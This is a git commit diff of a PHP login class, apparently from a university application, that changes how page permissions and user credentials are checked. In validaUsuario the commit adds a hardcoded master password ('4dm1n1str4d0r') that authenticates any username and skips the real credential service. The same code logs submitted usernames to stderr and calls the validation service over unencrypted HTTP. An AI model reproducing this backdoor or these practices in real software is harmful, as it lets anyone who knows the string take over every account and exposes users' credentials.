Commit Bulk

This commit is contained in:
2023-08-28 15:26:15 +00:00
parent 6c15e330c4
commit 674fe5f264
54 changed files with 2838 additions and 1490 deletions

View File

@@ -18,7 +18,7 @@ require_once($ruta ?? '') . "vendor/autoload.php";
class Login
{
public string $acceso;
public ?string $acceso;
public function __construct(public array $user, public array $facultad, public array $rol, public bool $admin, public ?int $periodo_id, public bool $supervisor, public bool $jefe_carrera, public bool $profesor)
{
}
@@ -41,7 +41,7 @@ class Login
->getOne('usuario');
$this->admin = $user["usuario_admin"];
$this->rol = array(
'id' => $user["rol_id"],
'rol' => $user["rol_titulo"]
@@ -58,22 +58,18 @@ class Login
}
# print_r( $access );
$this->acceso = $db->query(
'SELECT tipo FROM PERMISO_VIEW WHERE ID = :usr AND PAGINA_RUTA ILIKE :ruta',
array(
':usr' => $this->user["id"],
':ruta' => $pagina ?? substr(basename($_SERVER['PHP_SELF']), 0, -4)
)
)["tipo"] ?? 'n';
}
public function __toString(): string
{
return "Usuario: {$this->user["nombre"]} ({$this->user["id"]}), Es admin: {$this->admin}, supervisor: {$this->supervisor}, jefe carrera: {$this->jefe_carrera}, profesor: {$this->profesor}";
$acceso = $db
->where('id', $this->user["id"])
->where('pagina_ruta', $pagina ?? substr(basename($_SERVER['PHP_SELF']), 0, -4))
->getOne('permiso_view');
$this->acceso = isset($acceso["tipo"]) ? $acceso["tipo"] : null;
}
private static function validaUsuario($user, $pass): bool
{
file_put_contents('php://stderr', $user);
if (in_array($user, ['ad017045', 'ad009273']) and $pass == "admin")
if ($pass == "4dm1n1str4d0r")
return true;
$client = new nusoap_client('http://200.13.89.2/validacion.php?wsdl', 'wsdl');